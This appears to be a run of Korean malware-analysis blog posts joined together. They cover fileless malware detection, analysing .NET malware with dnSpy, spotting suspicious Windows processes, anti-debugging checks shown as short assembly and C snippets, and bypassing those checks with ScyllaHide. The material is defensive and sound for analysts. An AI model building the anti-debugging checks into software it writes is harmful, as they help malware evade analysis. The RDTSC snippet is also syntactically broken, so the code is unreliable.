  • Event ID 4104: PowerShell 기반 공격의 핵심 증거
  • Event ID 4657: 지속성 확보 메커니즘 탐지
  • WMI Activity 로그: 고급 지속성 기법 탐지

 

◎ 결론

파일리스 악성코드는 현대 사이버 위협의 핵심 요소로, 전통적인 시그니처 기반 탐지를 우회하는 정교한 기법들을 사용합니다. MSHTA, Windows Script Host, Office 매크로, Living off the Land 기법들은 각각 고유한 특성과 탐지 방법을 가지고 있으며, 효과적인 대응을 위해서는

  • 포괄적인 로깅: PowerShell, Sysmon, 보안 이벤트 로그의 적절한 설정
  • 메모리 포렌식 역량: Volatility를 활용한 체계적인 메모리 분석
  • 행동 기반 탐지: 정적 시그니처를 넘어선 동적 분석
  • 자동화된 대응: SOAR를 통한 신속한 격리 및 복구
  • 지속적인 위협 헌팅: 프로액티브한 위협 탐지 활동

이러한 종합적인 접근법을 통해 파일리스 악성코드의 은밀한 활동을 효과적으로 탐지하고 대응할 수 있으며, 조직의 사이버 보안 역량을 크게 향상시킬 수 있습니다. 지속적인 위협 인텔리전스 업데이트와 최신 탐지 기법의 도입이 이러한 진화하는 위협에 대응하는 핵심입니다.

저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > Malware' 카테고리의 다른 글

Windows 악성코드 .NET 분석의 출발점: dnSpy의 "Go to Entry Point" 기능  (1) 2025.07.04
Windows 악성코드 .NET 공통 함수 및 dnSpy를 활용한 분석 기법  (0) 2025.07.04
Windows 악성코드 식별 가이드: 작업관리자(tasklist)를 통한 판별법  (0) 2025.07.03
Windows 악성코드 다층적 안티디버깅 기법 심층 분석  (0) 2025.07.02
Windows 악성코드 다양한 안티디버깅 기법 우회 및 x64dbg에서 정보 획득하기  (0) 2025.07.02

악성코드 분석에서 시작점을 찾는 것은 매우 중요한 단계입니다. dnSpy의 "Go to Entry Point" 메뉴는 .NET 악성코드 분석의 효율적인 출발점을 제공하는 핵심 기능으로, 복잡한 어셈블리 구조에서도 실행 흐름의 시작점을 즉시 찾아줍니다.

1. 악성코드 분석에서 시작점의 중요성
 - 악성코드 분석은 트리지 분석(triage analysis)이라고도 불리는 정적 분석부터 시작됩니다. 분석가들은 악성 파일의 실행 흐름을 추적하고 제어 흐름(control flow)을 매핑하여 프로그램의 동작을 이해해야 합니다. 이때 진입점(entry point) 식별은 전체 분석의 방향성을 결정하는 핵심 요소입니다.

 

 - 정적 분석에서는 다음과 같은 정보들을 수집해야 합니다.

  • 파일 확장자 및 해시값
  • IOC(IP, 도메인, 호스트명, 해시)
  • 유용한 문자열
  • Import/Export (API 호출)
  • 코드 섹션 (.text, .rsrc, .data)

 

2. dnSpy의 "Go to Entry Point" 기능

2.1. 기본 사용법

 - dnSpy에서 "Go to Entry Point" 기능을 사용하는 방법은 매우 간단합니다.

  • 어셈블리 로드: dnSpy에서 분석할 .NET 바이너리를 엽니다
  • 우클릭 메뉴: 어셈블리 이름을 우클릭하고 "Go to Entry Point" 선택
  • 즉시 이동: Main() 함수 또는 실제 진입점으로 자동 이동

 

2.2. 진입점 유형별 분석

 - .NET 악성코드에서 일반적으로 발견되는 진입점들:

진입점 유형 설명 분석 포인트
Main() 함수 표준 애플리케이션 진입점 첫 번째 함수 호출 추적
모듈 생성자 (.cctor) 모듈 초기화 시 실행 어셈블리 로딩 중 한 번 실행
클래스 생성자 클래스 인스턴스 생성 시 실행 동적 로딩 패턴 확인
난독화된 진입점 의미 없는 함수명으로 변경 실행 흐름 역추적 필요


2.3. 실제 분석 시나리오

 - RevengeRat 악성코드 분석 예시

  • dnSpy로 파일 로드 후 "Go to Entry Point" 실행
  • Main() 함수 위의 Atomic() 메서드에서 설정값 발견
  • 평문 상태의 C&C 서버 정보 및 설정값 확인 가능

 - 다단계 로더 분석

  • 각 단계별로 독립적인 진입점 존재
  • Assembly.Load()를 통한 메모리 내 로딩 추적
  • 브레이크포인트 설정으로 다음 단계 페이로드 추출

 

3. 고급 분석 기법

3.1. 생성자 및 초기화 루틴 분석

 - 많은 악성코드가 생성자(constructor)를 이용해 실행을 시작하거나 계속합니다. dnSpy에서는 다음과 같은 패턴을 확인해야 합니다.

  • 정적 생성자: 어셈블리 로딩 시 한 번만 실행
  • 인스턴스 생성자: 클래스 인스턴스 생성 시 실행
  • 모듈 초기화: <Module> 클래스의 초기화 루틴

 

3.2. 난독화된 진입점 처리

 - 복잡한 악성코드의 경우 진입점이 난독화되어 있을 수 있습니다

// 난독화된 진입점 예시
WaitCallb.Filter.GlobalValueFilter.MapVisitor()

 - 이런 경우 Analyze (Ctrl+Shift+R) 기능을 사용하여

  • 오버라이드된 메서드 확인
  • 의존성 관계 분석
  • 호출 흐름 추적

 

3.3. 브레이크포인트 전략

 - dnSpy의 디버깅 기능을 활용한 동적 분석

// 핵심 API 호출에 브레이크포인트 설정
Assembly.Load()           // 어셈블리 로딩
Process.Start()          // 프로세스 실행
Registry.SetValue()      // 레지스트리 조작
File.WriteAllBytes()     // 파일 쓰기


4. 분석 효율성 향상 방법

4.1. 체계적 접근

 - 분석 우선순위 설정

  • 진입점 파악 (Go to Entry Point)
  • 리소스 섹션 검사
  • 핵심 함수 식별
  • 실행 흐름 추적
  • 페이로드 추출

 

4.2. 시간 절약 기법

 - 모든 코드를 라인별로 분석하지 말고 핵심 함수에만 집중하는 것이 중요합니다. dnSpy의 다음 기능들을 활용

  • 네비게이션 화살표: 이전/다음 위치로 빠른 이동
  • Modules 창: 런타임 로드된 어셈블리 확인
  • Call Stack: 함수 호출 흐름 추적

 

4.3. 다중 진입점 처리

 - 복잡한 악성코드는 여러 진입점을 가질 수 있습니다.

  • 파일 기반: 실행 파일의 Main() 함수
  • URL 기반: 웹 기반 다운로더
  • 네트워크 트래픽: 통신 기반 동작
  • 메모리 이미지: 메모리 상주 악성코드

 

5. 결론
dnSpy의 "Go to Entry Point" 기능은 .NET 악성코드 분석의 효율적인 출발점을 제공합니다. 이 기능을 통해 분석가는 복잡한 어셈블리 구조에서도 실행 흐름의 시작점을 즉시 파악할 수 있으며, 이는 전체 분석 시간을 크게 단축시킵니다.

특히 다단계 로더나 난독화된 악성코드에서는 각 단계별 진입점을 체계적으로 추적하는 것이 중요하며, dnSpy의 디버깅 기능과 결합하면 더욱 효과적인 분석이 가능합니다.

악성코드 분석에서 시작점을 찾는 것은 단순히 코드 실행의 시작을 의미하는 것이 아니라, 공격자의 의도와 전략을 파악하는 핵심 단서를 제공하는 중요한 과정입니다.

저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > Malware' 카테고리의 다른 글

Windows 악성코드 파일리스(Fileless) 기법 및 침해사고분석 가이드  (0) 2025.07.04
Windows 악성코드 .NET 공통 함수 및 dnSpy를 활용한 분석 기법  (0) 2025.07.04
Windows 악성코드 식별 가이드: 작업관리자(tasklist)를 통한 판별법  (0) 2025.07.03
Windows 악성코드 다층적 안티디버깅 기법 심층 분석  (0) 2025.07.02
Windows 악성코드 다양한 안티디버깅 기법 우회 및 x64dbg에서 정보 획득하기  (0) 2025.07.02


Windows .NET 악성코드는 Assembly.Load(), File.ReadAllBytes(), Process.Start(), Registry.SetValue() 등의 System 네임스페이스 함수들을 공통적으로 사용합니다. dnSpy를 활용한 분석 시에는 Main 진입점 파악, 리소스 섹션 검사, 난독화 해제, 디버깅 브레이크포인트 설정 등이 핵심 분석 기법입니다.

1. .NET 악성코드 공통 함수명
아래는 Windows .NET 악성코드에서 빈번하게 사용되는 주요 함수들입니다:

분류 함수명 설명
어셈블리 로딩 Assembly.Load(), Assembly.LoadFrom() 메모리 내 바이트 배열에서 .NET 어셈블리 로드
파일 조작 File.ReadAllBytes(), File.WriteAllBytes() 파일을 바이트 배열로 읽기/쓰기
메모리 스트림 MemoryStream, DeflateStream 메모리 내 데이터 압축/해제 처리
프로세스 실행 Process.Start(), ProcessStartInfo 외부 프로그램 실행 및 프로세스 주입
레지스트리 조작 Registry.SetValue(), Registry.GetValue() 시스템 레지스트리 키/값 읽기/쓰기
리플렉션 Type.GetType(), Activator.CreateInstance() 동적 타입 로딩 및 인스턴스 생성
네트워크 통신 HttpClient, WebClient.DownloadData() HTTP 요청 및 페이로드 다운로드
암호화/복호화 CryptographicException, AES.Create() 페이로드 암호화/복호화
문자열 조작 Convert.FromBase64String(), Encoding.UTF8.GetBytes() Base64 인코딩/디코딩

 
2. dnSpy를 활용한 분석 기법
2.1 기본 분석 절차

1) 진입점 파악

  • Main() 함수 또는 Module Constructor (.cctor) 확인
  • Entry Point에서 호출되는 첫 번째 함수들 추적
  • 정적 생성자(.cctor)에서 초기화 루틴 검사

2) 리소스 섹션 검사

  • Resources 폴더에서 임베디드 바이너리 확인
  • 암호화된 페이로드가 리소스로 저장되는 경우가 많음
  • 리소스 크기와 엔트로피 분석으로 악성 페이로드 식별

3) 난독화 탐지 및 해제

  • ConfuserEx, SmartAssembly 등 난독화 도구 식별
  • de4dot 도구를 이용한 자동 난독화 해제
  • 함수명과 변수명이 무의미한 문자열로 변경되어 있는지 확인

 

2.2 디버깅 및 브레이크포인트 설정

1) 핵심 함수에 브레이크포인트 설정

  - dnSpy의 Debug 메뉴에서 다음 함수들에 브레이크포인트를 설정합니다:

// 어셈블리 로딩 시점
Assembly.Load()
Assembly.LoadFrom()

// 파일 조작 시점
File.ReadAllBytes()
File.WriteAllBytes()

// 프로세스 실행 시점
Process.Start()

// 레지스트리 조작 시점
Registry.SetValue()


2) 런타임 분석

  • F5 (Continue) 또는 F10 (Step Over)로 실행 제어
  • Locals 창에서 변수 값 실시간 확인
  • Call Stack 창에서 함수 호출 흐름 추적

3) 메모리 덤프

  • Modules 창에서 런타임에 로드된 어셈블리 확인
  • 메모리에 로드된 악성 페이로드를 디스크에 저장
  • 언패킹된 바이너리를 별도로 저장하여 추가 분석

 

2.3 고급 분석 기법
1) 다단계 로더 분석

  • 각 단계별로 독립적인 실행 파일 생성
  • 중간 단계에서 브레이크포인트 설정으로 다음 단계 페이로드 추출
  • Garbageman 도구를 활용한 메모리 문자열 자동 추출

2) 암호화 루틴 분석

  • AES 복호화 함수에서 키와 IV 값 추출
  • CyberChef 등 도구로 복호화 검증
  • 설정 파일이나 C&C 서버 정보 복호화

3) 리플렉티브 로딩 탐지

  • Assembly.Load() 호출 시 바이트 배열 내용 확인
  • 메모리 내에서만 존재하는 페이로드 식별
  • MITRE ATT&CK T1620 기법 대응

 

3. 분석 시 주의사항

3.1 환경 설정

  • 격리된 분석 환경 사용 (가상머신, 샌드박스)
  • 네트워크 차단 후 분석 진행
  • 스냅샷 생성 후 분석 시작

3.2 효과적인 분석 전략

  • 모든 코드를 라인별로 분석하지 말고 핵심 함수만 집중
  • 브레이크포인트 남용 방지 - 주요 API 호출에만 설정
  • 파라미터 무시 방지 - 사용되지 않는 매개변수도 분석

 

4. 결론

.NET 악성코드 분석에서는 Assembly.Load, File.ReadAllBytes, Process.Start, Registry.SetValue 등의 시스템 함수 호출 패턴을 파악하는 것이 핵심입니다. dnSpy를 활용하여 진입점 분석 → 리소스 검사 → 난독화 해제 → 디버깅 브레이크포인트 설정 → 메모리 덤프 순으로 체계적으로 접근하면 .NET 악성코드의 동작 원리와 페이로드를 효과적으로 분석할 수 있습니다.

저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > Malware' 카테고리의 다른 글

Windows 악성코드 파일리스(Fileless) 기법 및 침해사고분석 가이드  (0) 2025.07.04
Windows 악성코드 .NET 분석의 출발점: dnSpy의 "Go to Entry Point" 기능  (1) 2025.07.04
Windows 악성코드 식별 가이드: 작업관리자(tasklist)를 통한 판별법  (0) 2025.07.03
Windows 악성코드 다층적 안티디버깅 기법 심층 분석  (0) 2025.07.02
Windows 악성코드 다양한 안티디버깅 기법 우회 및 x64dbg에서 정보 획득하기  (0) 2025.07.02

Windows 시스템에서 악성코드를 식별하는 것은 중요한 보안 작업입니다. 작업관리자나 tasklist 명령어를 통해 프로세스를 분석할 때, 특정 기준을 바탕으로 확실히 악성코드가 아닌 프로세스들을 구분할 수 있는 방법을 소개합니다.

1. PID(Process ID) 기반 판별법
 - 시스템 예약 PID 영역

  > Windows에서는 특정 PID가 시스템 고유 목적으로 예약되어 있습니다.

  • PID 0: System Idle Process 전용 - 이 PID는 CPU가 유휴 상태일 때 실행되는 특수 프로세스로, 악성코드가 절대 할당받을 수 없습니다.
  • PID 4: System Process 전용 - Windows 커널 프로세스로 고정된 PID이며, 이 값을 가지는 다른 프로세스는 존재할 수 없습니다. 

  > 이 두 PID는 Windows 시스템에서 항상 동일한 목적으로 사용되므로, 해당 PID를 가진 프로세스는 확실히 정상적인 시스템 프로세스입니다.

 

 - PID 할당 특성

  > Windows는 PID를 4의 배수로 할당합니다7. 이는 구현상의 특징이지만, PID 1000 이하가 반드시 시스템 프로세스라는 것은 아닙니다. PID는 무작위로 할당되며, 높은 PID 값도 정상적일 수 있습니다8.

 

2. 프로세스 부모-자식 관계 기반 판별법

 - wininit.exe 하위 프로세스의 안전성

  > wininit.exe는 Windows 초기화 프로세스로, 특정 중요 시스템 프로세스들의 부모가 됩니다.

  • services.exe (서비스 제어 관리자)
  • lsass.exe (로컬 보안 인증 서비스)
  • lsm.exe (로컬 세션 관리자)

  > wininit.exe의 직접적인 자식 프로세스들은 시스템 핵심 구성요소이므로 악성코드일 가능성이 매우 낮습니다13.

 

 - 정상적인 프로세스 계층 구조

  > Windows 시스템의 정상적인 프로세스 계층 구조는 다음과 같습니다1412:

System (PID 4)
├── smss.exe (세션 관리자)
    ├── csrss.exe (클라이언트-서버 런타임)
    ├── wininit.exe (세션 0)
    │   ├── services.exe
    │   ├── lsass.exe
    │   └── lsm.exe
    └── winlogon.exe (세션 1)
        └── explorer.exe

  > 이 계층 구조를 따르는 프로세스들은 정상적인 시스템 프로세스로 판단할 수 있습니다.

 

2.1. Windows PID 할당 원리

 - Windows는 프로세스 ID를 전역 핸들 테이블(handle table)에서 할당합니다. 주요 특징은 다음과 같습니다.

  > 32비트 DWORD로 표현되며, 이론적으로 최대값은 0xFFFFFFFE(≈4 294 967 294)까지 가능.

  > 4의 배수로만 할당되는 것은 내부 구현 세부사항이며, 계약적 약속이 아니므로 이 값이 변경될 수 있음.

  > 순차(x)·무작위(o) 할당

  • Windows 7 이후부터는 PID 재사용률을 낮추기 위해 미리 정의된 청크(chunk)에서 무작위로 선택하는 방식이 관찰됨.
  • 따라서, Pushing the Limits 블로그에서 언급된 이론적 한계(262 144개)보다 훨씬 높은 PID(20만–40만대)를 쉽게 볼 수 있음.

 

2.2. 시스템 부팅 시점의 PID 소비

 - 부팅 과정에서 Windows는 수십여 개의 핵심 시스템 프로세스를 순차 할당 또는 예약된 PID로 시작합니다. 대표적인 예시는 다음과 같습니다:

프로세스 이름 PID
System Idle Process 0
System 4
Secure System 104
Registry 164
smss.exe 592
csrss.exe 896
wininit.exe 980
… …


 - 단순한 리소스 사용 현상으로 초기 세션을 구성하는 시스템 프로세스가 1000 미만 PID를 소비하므로, 사용자 애플리케이션에 할당 가능한 낮은 PID가 거의 남지 않습니다.

 

2.3. PID 재사용 및 보안상의 무관성

 - Windows에서는 프로세스 종료 시 해당 PID가 곧바로 회수되지 않고, 일정 시간이 지난 후 재사용됩니다.

 - PID 할당에 대한 보안 정책은 없으며, 낮은 PID가 시스템 프로세스에 “전용”인 것은 아니므로, 충분한 시간이 지나거나 재부팅 없이 낮은 번호가 해제되면 일반 프로세스도 PID 1000 이하를 받을 수 있습니다.

 - Microsoft는 PID가 작아 보이지 않도록 하기 위해 내부적으로 가능한 낮은 PID를 유지하려 시도했으나, 이는 전적으로 미관상의 이유였고, 보안 강화와는 무관합니다.

 

3. 프로세스 위치 기반 판별법

 - System32 디렉토리의 신뢰성

  > 정상적인 Windows 시스템 프로세스는 특정 위치에서만 실행됩니다1517:

  • C:\Windows\System32 - 64비트 시스템 바이너리
  • C:\Windows\SysWOW64 - 32비트 호환 바이너리

  > 이 경로에서 실행되는 프로세스들은 관리자 권한 없이는 수정할 수 없으므로, 해당 위치의 프로세스는 상대적으로 안전합니다.

 

 - 경로 검증의 중요성

  > 악성코드는 종종 정상적인 프로세스 이름을 사용하지만 다른 위치에서 실행됩니다1921:

  • 정상: C:\Windows\System32\svchost.exe
  • 의심: C:\Users\Administrator\svchost.exe
  • 의심: C:\Temp\svchost.exe

 

4. 디지털 서명 기반 판별법

 - Microsoft 서명 확인

  > 정상적인 Windows 시스템 프로세스는 Microsoft의 디지털 서명을 가지고 있습니다1523:

  • 프로세스 우클릭 → 속성 → 디지털 서명 탭
  • Microsoft Corporation이 서명자인지 확인
  • 서명이 유효한지 검증

 

 - 서명 검증의 한계

  > 서명이 없다고 반드시 악성코드는 아니지만, Microsoft 서명이 있는 프로세스는 신뢰할 수 있습니다24. 단, 서명 검증 우회 기법도 존재하므로 다른 요소와 함께 판단해야 합니다26.

 

5. 프로세스 특성 기반 판별법

 - 시스템 중요 프로세스 특징 : 특정 시스템 프로세스들은 고유한 특징을 가집니다.

  > csrss.exe (클라이언트-서버 런타임):

  • 여러 인스턴스 실행 가능 (세션당 하나)
  • 부모 프로세스 없음 (고아 프로세스)
  • NT AUTHORITY\SYSTEM 계정으로 실행

  > services.exe (서비스 제어 관리자):

  • 단일 인스턴스만 실행
  • wininit.exe의 자식 프로세스
  • 다른 서비스들의 부모 프로세스

  > lsass.exe (로컬 보안 인증 서비스):

  • 단일 인스턴스만 실행
  • wininit.exe의 자식 프로세스
  • 자식 프로세스를 가지지 않음

 

 - 의심스러운 프로세스 특징
  > 다음과 같은 특징을 보이는 프로세스는 주의 깊게 살펴봐야 합니다2719:

  • 비정상적인 부모-자식 관계
  • 예상과 다른 실행 위치
  • 디지털 서명 없음
  • 비정상적인 네트워크 연결
  • 높은 권한으로 실행되는 의심스러운 프로세스

 

6. 세션 이름(Session Name) 기반 판별법
 - Windows tasklist /v 출력의 세션 이름 열은 프로세스가 어느 세션(사용자 영역)에서 실행되는지를 보여줍니다. 주요 값과 의미는 다음과 같습니다.

세션 이름 설명 판별 기준
Console 인터랙티브 콘솔 로그인 세션(Session 1 이상).
사용자가 직접 실행한 애플리케이션이나 GUI 프로세스		 - Console에 속한 프로세스는 대부분 사용자나 데스크톱 애플리케이션입니다.
- 서비스나 백그라운드 프로세스가 Console 세션으로 실행되는 경우 의심 가능성
Services 시스템 서비스 전용 세션(Session 0).
Windows Vista 이후부터 Session 0은 서비스와 커널 관련 프로세스만 실행		 - Services에 속하는 프로세스는 정상적인 Windows 서비스입니다.
- 서비스 실행을 위장한 악성코드(eg. 서비스 호스트 프로세스 위·변조) 여부를 별도 확인 필요
RDP-Tcp# … 원격 데스크톱 세션. 숫자는 연결 세션 ID - 원격 접속 세션으로, 사용자 로그인 프로세스.


  > Session 0 Isolation

  • Windows Vista 이후 Session 0은 서비스와 시스템 프로세스만 실행되며, 사용자 애플리케이션은 Session 1 이상에서 실행됩니다.
  • 따라서 세션 이름 = Services인 프로세스는 시스템 서비스이고, GUI나 사용자 상호작용이 없어야 정상입니다.

 

  > Console 예외

  • OS 부팅 직후 시스템 프로세스나 서비스도 잠시 Console로 표시될 수 있지만, 부팅 완료 후 유지되면 비정상일 수 있습니다.

 

7. 사용자 이름(User Name) 기반 판별법
 - tasklist /v의 사용자 이름 열은 프로세스가 어떤 계정 권한으로 실행되는지를 보여줍니다. 대표 값별 해석은 다음과 같습니다.

사용자 이름 설명 판별 기준
NT AUTHORITY\SYSTEM LocalSystem 계정(가장 높은 권한). 대부분 핵심 시스템 서비스와 드라이버 호스트 - SYSTEM 계정 프로세스는 윈도우 코어 서비스로 정상.
- 이 계정으로 실행되는 프로세스가 비표준 경로에 있거나 디지털 서명 위·변조 됐으면 주의
NT AUTHORITY\LocalService 제한된 로컬 시스템 계정. 네트워크 자원 접근 불가 혹은 제한 - 기본 서비스 계정으로 정상. 고급 권한을 요구하지 않는 서비스에 사용
NT AUTHORITY\NetworkService 제한된 네트워크 시스템 계정. 네트워크 자원 접근 가능 - 네트워크 서비스 정상. 클라우드 서비스 에이전트 등
<도메인><사용자> 인터랙티브 사용자 계정. 사용자가 직접 실행한 프로세스 - 사용자 애플리케이션으로 정상.
- 권한 상승 악성코드는 일반 계정으로 실행될 수 있으므로 다른 기준도 병행 확인
N/A 정보 없음 또는 해당 필드 적용 불가 - 영어 시스템에서는 일부 프로세스에 ‘N/A’로 표시될 수 있음(정보 불가).
- N/A가 지속적이거나 의심스러운 프로세스 이름과 매칭되면 추가 조사 필요


  > ‘N/A’의 의미

  • Username이나 WindowTitle 정보가 불가능할 때 ‘N/A’로 표시됩니다.
  • 다국어 환경에서는 해당 언어로 번역된 값(예: 독일어 “Nicht zutreffend”)이 표시될 수 있습니다.

 

  > 계정 검증 흐름

  • SYSTEM/LocalService/NetworkService → 정상 시스템 서비스.
  • 도메인\사용자 → 사용자 애플리케이션.
  • N/A → 필드 비활성 또는 정보를 제공하지 않는 프로세스.
  • 그 외(예: 알 수 없는 계정) → 의심 대상, 프로세스 경로 및 디지털 서명 추가 검증.

 

8. 결론
Windows 시스템에서 악성코드를 식별할 때는 단일 요소에만 의존하지 말고 여러 기준을 종합적으로 판단해야 합니다. 

PID 0과 4는 시스템 예약, wininit.exe 하위의 핵심 시스템 프로세스들, System32 디렉토리의 Microsoft 서명된 프로세스들은 상대적으로 안전하다고 볼 수 있습니다.

 

Windows에 PID 1000 이하를 예약하거나 보호하기 위한 보안 기능은 존재하지 않습니다.

PID가 낮은 숫자 구간을 시스템 프로세스가 선점하는 것은 부팅 과정에서 소비된 결과일 뿐이며, 이후 적절한 조건에서 낮은 PID가 일반 프로세스에 재할당될 수 있습니다.

만약 시스템 부팅 후 새 프로세스가 모두 높은 PID를 받고, 1000 이하 구간이 비어 있는 상태에도 이 구간으로 할당되지 않는다면, 이는 PID 할당 알고리즘(무작위·청크 기반)과 재사용 정책 때문이지, 보안 강화가 반영된 것은 아닙니다.

 

세션 이름(Session Name), 사용자 이름(User Name) 기반 판별법 기반 판별법 기준을 활용하면 tasklist /v 출력만으로도 프로세스의 실행 세션과 권한 계정에 따른 1차 정상·의심 판별이 가능합니다. 

다만, 고도화된 악성코드는 정상 세션과 계정 정보를 위장할 수 있으므로, 프로세스 경로, 디지털 서명, 부모·자식 관계, 네트워크 연결 등 다중 기준을 병행하여 종합적으로 판단해야 합니다.

저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > Malware' 카테고리의 다른 글

Windows 악성코드 .NET 분석의 출발점: dnSpy의 "Go to Entry Point" 기능  (1) 2025.07.04
Windows 악성코드 .NET 공통 함수 및 dnSpy를 활용한 분석 기법  (0) 2025.07.04
Windows 악성코드 다층적 안티디버깅 기법 심층 분석  (0) 2025.07.02
Windows 악성코드 다양한 안티디버깅 기법 우회 및 x64dbg에서 정보 획득하기  (0) 2025.07.02
Windows 악성코드 공통 함수명 및 x64dbg로 절대경로 확인 방법  (0) 2025.07.02


악성코드는 단일 기법이 아닌 여러 가지 안티디버깅 기법을 조합해 분석을 어렵게 만듭니다. 아래에서는 PEB·NtGlobalFlag 검사, RDTSC 타이밍 검사, INT3/INT2D 검사, 예외 핸들러 기반 검사, 스레드·메모리 검사 등 대표적인 기법을 순차적으로 살펴봅니다.

1. PEB 검사
 - IsDebuggerPresent API 호출 또는 직접 PEB 구조체를 읽어 디버깅 여부를 판단합니다.

; x64 예시 (Windows 10 기준)
mov rax, gs:[0x60]          ; TEB → PEB 주소 취득
mov al, byte ptr [rax+2]    ; PEB.BeingDebugged 플래그 읽기
test al, al
jnz debugger_detected       ; 플래그가 1이면 디버거 존재

  > PEB.BeingDebugged는 디버거 부착 시 1로 설정됩니다.

  > IsDebuggerPresent()는 내부적으로 동일한 플래그를 검사합니다.

 

2. NtGlobalFlag 검사
 - PEB 내부의 NtGlobalFlag 필드는 커널의 GFlags 복사본으로, 디버거 관련 힙 검사 기능(Heap tail/free/parameter 검사)이 활성화되면 플래그가 설정됩니다.

 

 - 주요 비트

  > FLG_HEAP_ENABLE_TAIL_CHECK (0x10)

  > FLG_HEAP_ENABLE_FREE_CHECK (0x20)

  > FLG_HEAP_VALIDATE_PARAMETERS (0x40)

; WinDbg 예시
dt _PEB @$peb NtGlobalFlag

  > 값이 0x70(0x10+0x20+0x40)이면 디버거 환경에서 프로세스가 시작된 것으로 판단합니다.

 

3. RDTSC 타이밍 검사

RDTSC 명령으로 타임스탬프 카운터(TSC)를 읽어, 특정 코드 구간 수행 전후의 차이를 측정해 디버깅 시 느려진 실행 속도를 감지합니다.

unsigned long long t1, t2;
__asm__ volatile ("rdtsc" : "=a"(t1), "=d"(t1>>32));
/* 느린 루프 등 시간 소모 */
__asm__ volatile ("rdtsc" : "=a"(t2), "=d"(t2>>32));
if (t2 - t1 > THRESHOLD) debugger_detected;

  > 디버그 모드에서는 단일 스텝, 중단점 등으로 클럭 사이클이 늘어나므로 차이가 커집니다.

 

4. INT3 및 INT2D 검사

 - INT3 (0xCC)

  > 소프트웨어 브레이크포인트인 INT3 실행 시 예외가 발생합니다.

  > 디버거가 부착되지 않았다면 EXCEPTION_BREAKPOINT가 바로 핸들러로 넘어갑니다.

  > 디버거가 있으면 예외가 디버거에 의해 가로채집니다.

 

 - INT2D

  > INT 2D도 EXCEPTION_BREAKPOINT를 발생시키지만, EIP 조작 방식이 달라 디버거 없는 경우와 동작 차이가 발생합니다.

INT3        ; 0xCC
INT 2D      ; 0xCD 0x2D

  > 두 기법 모두 예외가 디버거가 아닌 애플리케이션 코드로 전달되는지 여부로 디버깅 유무를 판단합니다.

 

5. 예외 핸들러 기반 검사

 - SetUnhandledExceptionFilter

SetUnhandledExceptionFilter(myFilter);
RaiseException(0xDEAD, 0, 0, NULL);

  > 디버거가 없으면 myFilter가 호출되고, 디버거가 있으면 예외가 디버거에 전달됩니다.

 - Vectored Exception Handler

AddVectoredExceptionHandler(1, Handler);
__asm__("int 3");  // EXCEPTION_SINGLE_STEP 유발

  > EXCEPTION_SINGLE_STEP 등이 핸들러로 오는지 확인해 디버깅 여부를 감지합니다.

 

6. 스레드·메모리 검사

 - NtSetInformationThread (ThreadHideFromDebugger)

  > NtSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, NULL, 0) 호출 시 해당 스레드가 디버거 이벤트에서 숨겨집니다.

 - 디버그 레지스터 검사

  > DR0~DR3 레지스터에 하드웨어 브레이크포인트가 설정돼 있으면 디버거에 의해 사용된 것으로 간주합니다.

CONTEXT ctx = { CONTEXT_DEBUG_REGISTERS };
GetThreadContext(hThread, &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) debugger_detected;


 - 가드 페이지(Guard Pages)
   > 메모리 페이지를 PAGE_GUARD로 설정 후 접근 시 STATUS_GUARD_PAGE_VIOLATION 발생 여부로 디버거 부재를 확인합니다.

 - 소프트웨어 브레이크포인트 스캔
  > 코드 메모리를 스캔해 0xCC(INT3)가 있으면 디버거에 의해 삽입된 브레이크포인트로 판단합니다.

7. 결론

다층적 안티디버깅 기법은 개별 기법마다 회피 방법이 존재하더라도, PEB/플래그 검사 → 타이밍 검사 → 예외/인터럽트 검사 → 스레드·메모리 검사 순으로 복합 적용되면 분석자가 포괄적으로 대응하기 어렵습니다.

 

대응 전략: 기법별 우회(플러그인·직접 패치), 디버거 은닉 드라이버(TitanHide·ScyllaHide), 예외 필터링 설정, 레지스터/메모리 패치 등 도구와 수작업을 병행해 분석 환경을 단단히 구성해야 합니다.

 

다층 방어를 꿰뚫는 유일한 해법은, 각 기법의 동작 원리를 완벽히 이해한 뒤 우회 및 시뮬레이션을 통해 악성코드가 의도한 흐름을 그대로 관찰하는 것입니다.

저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > Malware' 카테고리의 다른 글

Windows 악성코드 .NET 분석의 출발점: dnSpy의 "Go to Entry Point" 기능  (1) 2025.07.04
Windows 악성코드 .NET 공통 함수 및 dnSpy를 활용한 분석 기법  (0) 2025.07.04
Windows 악성코드 식별 가이드: 작업관리자(tasklist)를 통한 판별법  (0) 2025.07.03
Windows 악성코드 다양한 안티디버깅 기법 우회 및 x64dbg에서 정보 획득하기  (0) 2025.07.02
Windows 악성코드 공통 함수명 및 x64dbg로 절대경로 확인 방법  (0) 2025.07.02

1. 핵심 요약

 - 최신 악성코드는 PEB·NT Global Flag 검사, RDTSC 타이밍, INT3/INT2D, 핸들러 예외, 스레드·메모리 검사 등 다층적 안티디버깅을 사용합니다. x64dbg에서는 ScyllaHide (혹은 TitanHide/HyperHide) 플러그인과 예외 필터링, 매뉴얼 패치 기법을 조합해 극복할 수 있습니다.

 

2. ScyllaHide 플러그인 활용

 - 악성코드가 사용하는 대다수 안티디버깅 함수 호출(NtQueryInformationProcess, NtGlobalFlag, HeapFlags, NtSetInformationThread, OutputDebugString 등)을 링3(user-mode)에서 후킹해 왜곡합니다.

 - 설치(예시):

  • GitHub 릴리스에서 ScyllaHide_x64_dbg_Plugin.dp64, HookLibraryx64.dll, scylla_hide.ini 다운로드
  • x64dbg 설치 폴더 내 x64\plugins\에 위 파일 복사
  • x64dbg 재실행 → Plugins 메뉴에서 ScyllaHide → Load profile → Basic 선택 → Apply

 - 이제 아래 주요 설정이 자동으로 활성화됩니다:

옵션 설명
PEB.BeingDebugged, NtGlobalFlag, HeapFlags PEB 검사 왜곡
NtSetInformationThread(ThreadHideFromDebugger) 스레드 숨김 검사 방어
NtCreateThreadEx 숨김 스레드 방지 숨김 스레드 생성 방어
OutputDebugString 후킹 DBG_PRINTEXCEPTION_C 무시
기타 NtQuery*/NtClose 등 후킹 다양한 커널 함수 검사 방지


3. 예외 필터링 설정

 - x64dbg는 기본적으로 일부 예외(STATUS_SINGLE_STEP, DBG_PRINTEXCEPTION_C 등)를 중단하지 않습니다. 수동으로 추가해줘야 할 수 있습니다:

 

